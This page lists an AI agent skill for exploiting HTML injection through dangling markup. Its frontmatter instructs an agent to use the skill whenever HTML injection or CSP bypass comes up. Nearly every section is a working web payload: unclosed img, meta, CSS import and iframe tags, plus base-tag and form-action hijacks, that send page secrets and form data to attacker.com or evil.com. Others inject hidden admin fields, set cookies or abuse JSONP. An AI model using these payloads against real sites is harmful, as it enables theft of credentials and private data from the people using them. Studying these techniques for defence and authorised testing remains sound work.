# Dangling Markup HTML Injection

> How to exploit HTML injection vulnerabilities using dangling markup techniques to exfiltrate data, steal forms, bypass CSP, and manipulate page behavior without JavaScript execution. Use this skill whenever the user mentions HTML injection, scriptless attacks, XSS bypass, CSP bypass, data exfiltration, form stealing, or any scenario where they can inject HTML tags but not JavaScript. Also trigger for dangling markup, HTML namespace attacks, form action manipulation, or when testing for HTML injection vulnerabilities.

- Skill: `abelrguezr/dangling-markup-html-injection` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/dangling-markup-html-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/dangling-markup-html-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/dangling-markup-html-injection

---


# Dangling Markup - HTML Scriptless Injection

This skill helps you exploit **HTML injection vulnerabilities** when you cannot execute JavaScript (no XSS) but can inject HTML tags. These techniques are useful for:

- **Exfiltrating secrets** stored in clear text in HTML
- **Stealing form data** by redirecting submissions
- **Bypassing Content Security Policy (CSP)** restrictions
- **Misleading script execution** by manipulating the DOM
- **Data exfiltration** through various HTML tag attributes

## When to Use This Skill

Use this skill when:
- You've found an HTML injection point but no XSS
- You need to exfiltrate data from a page with HTML injection
- You want to bypass CSP restrictions
- You need to steal or redirect form submissions
- You're testing for dangling markup vulnerabilities
- You want to manipulate page behavior without JavaScript

## Core Technique

Dangling markup works by injecting **incomplete HTML tags** that "capture" content until the browser finds a closing quote or delimiter. The browser then sends this captured content to an attacker-controlled endpoint.

---

## 1. Stealing Clear Text Secrets

### Using `<img>` tag

Inject an unclosed `src` attribute to capture content until the next quote:

```html
<img src='http://attacker.com/log.php?HTML=
```

**What happens**: When the page loads, the victim's browser sends all HTML content between your injection point and the next single quote to your server.

**Variations**:
```html
<img src="http://attacker.com/log.php?HTML="  <!-- Double quote version -->
```

### Using `<meta>` refresh tag

If `<img>` is blocked by CSP, use meta refresh:

```html
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text='
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a='
```

**Note**: Chrome blocks HTTP URLs with `<` or `\n` characters. Try `ftp://` protocol instead.

### Using CSS `@import`

```html
<style>@import '//attacker.com?'
```

**What happens**: Sends all code until it finds a `;` character.

### Using `<table>` background attribute

```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```

### Using `<base>` tag

```html
<base target='
```

**Note**: Requires user interaction (clicking a link) because the base tag changes the domain pointed by links.

---

## 2. Stealing Forms

### Method 1: Base tag hijacking

```html
<base href="http://evil.com/" />
```

**Effect**: All forms with relative action paths (e.g., `<form action='update_profile.php'>`) will submit to your malicious domain.

### Method 2: Form header injection

```html
<form action='http://evil.com/log_steal'>
```

**Effect**: Overwrites the next form header, redirecting all form data to your server.

### Method 3: Button formaction attribute

```html
<button name="xss" type="submit" formaction="https://attacker.com/steal">
  Submit
</button>
```

**Effect**: Changes where the form data is sent when clicked.

**Reference**: [PortSwigger research on stealing passwords without bypassing CSP](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)

---

## 3. Stealing Clear Text Secrets via Forms

### Hidden input field injection

Combine form stealing with secret exfiltration:

```html
<input type='hidden' name='review_body' value="
```

**What happens**: The hidden input captures all content between the opening and next closing double quote, then submits it with the form.

### Option tag injection

```html
<form action=http://attacker.com><input type="submit">Click Me</input><select name=xss><option
```

**What happens**: All data until `</option>` is found gets submitted.

---

## 4. Form Parameter Injection

Inject hidden fields to modify form behavior:

```html
<form action="/change_settings.php">
  <input type="hidden" name="invite_user" value="attacker" />
  <input type="hidden" name="role" value="admin" />
```

**Effect**: Adds unexpected parameters to form submissions, potentially bypassing validation or triggering unintended actions.

---

## 5. Stealing via `<noscript>` Tag

Exfiltrate page content when JavaScript is disabled:

```html
<noscript>
  <form action=http://evil.com>
    <input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" value="">
    <textarea name=contents></noscript>
```

**What happens**: If the browser doesn't support/execute JavaScript, the content from injection point to bottom of page is captured and submitted.

---

## 6. Bypassing CSP with User Interaction

Even in highly restricted CSP environments, you can exfiltrate data with user interaction:

### Step 1: Inject on target page

```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```

### Step 2: Create payload page

```html
<script>
  if(window.name) {
    new Image().src='//attacker.com?'+encodeURIComponent(window.name);
  }
</script>
```

**What happens**: When victim clicks the link, `window.name` contains all HTML content until the next single quote. Your payload page reads and exfiltrates it.

**Reference**: [PortSwigger research on evading CSP with DOM-based dangling markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)

---

## 7. Misleading Script Workflow

### HTML Namespace Attack

Inject an element with an ID that overwrites the legitimate one:

```html
<input type="hidden" id="share_with" value="attacker" />
```

**Effect**: JavaScript using `document.getElementById('share_with')` gets your injected value instead of the legitimate one.

### Script Namespace Attack

Create JavaScript variables via HTML attributes:

```html
<img id="is_public" />
```

**Effect**: In some browsers (especially older IE), this creates a global JavaScript variable `is_public` that can affect application logic.

---

## 8. JSONP Abuse

If a JSONP interface exists, you can call arbitrary functions:

```html
<script src='/search?q=a&call=set_sharing'></script>
```

Or even execute JavaScript:

```html
<script src="/search?q=a&call=alert(1)"></script>
```

---

## 9. Iframe Abuse

### Parent location manipulation

```html
<iframe src="http://attacker.com/redirect.html"></iframe>
```

Where `redirect.html` contains:
```html
<script>
  top.window.location = "https://attacker.com/hacked.html"
</script>
```

**Mitigation**: Use `sandbox='allow-scripts allow-top-navigation'` attribute.

### Iframe name attribute leak

```html
<iframe
  src="//attacker.com/leak.php?email=%22><iframe name=%27"
  onload="leakData(this.contentWindow)"></iframe>
```

**Reference**: [PortSwigger research on bypassing CSP with dangling iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)

---

## 10. Meta Tag Abuse

### Set cookies

```html
<meta http-equiv="Set-Cookie" content="SESSID=1">
```

### Redirect

```html
<meta name="language" content="5;http://attacker.com" http-equiv="refresh" />
```

**Mitigation**: CSP with `http-equiv 'self'`

---

## 11. Portal Tag Abuse

The `<portal>` tag (experimental, requires Chrome flags) can be abused:

```html
<portal src='https://attacker.com?'
```

**Reference**: [Securitum research on portal element vulnerabilities](https://research.securitum.com/security-analysis-of-portal-element/)

---

## 12. HTML Leaks

For additional HTML-based connectivity leaks, see:
- [HTTPLeaks by cure53](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)

---

## Testing Checklist

When testing for dangling markup vulnerabilities:

1. **Identify HTML injection points** - Look for reflected user input in HTML context
2. **Test basic injection** - Try `'><img src=x onerror=alert(1)>` to confirm HTML injection
3. **Check for XSS filters** - If XSS is blocked but HTML works, dangling markup may work
4. **Test secret exfiltration** - Use `<img src='http://attacker.com?` to capture content
5. **Test form stealing** - Inject `<base href="http://attacker.com/">`
6. **Test CSP bypass** - Try meta refresh and other CSP-bypassing techniques
7. **Test user interaction attacks** - Create clickjacking scenarios with base tag

---

## Payload Generator

Use the `generate_payloads.py` script to create test payloads for different scenarios:

```bash
python scripts/generate_payloads.py --target http://attacker.com --type all
```

---

## References

- [Content Spoofing - HTML Injection](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
- [Post-XSS by lcamtuf](http://lcamtuf.coredump.cx/postxss/)
- [HTML Scriptless Attacks](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
- [PortSwigger: Evading CSP with DOM-based dangling markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
- [PortSwigger: Bypassing CSP with dangling iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
- [Auto Wordlists - Dangling Markup](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt)

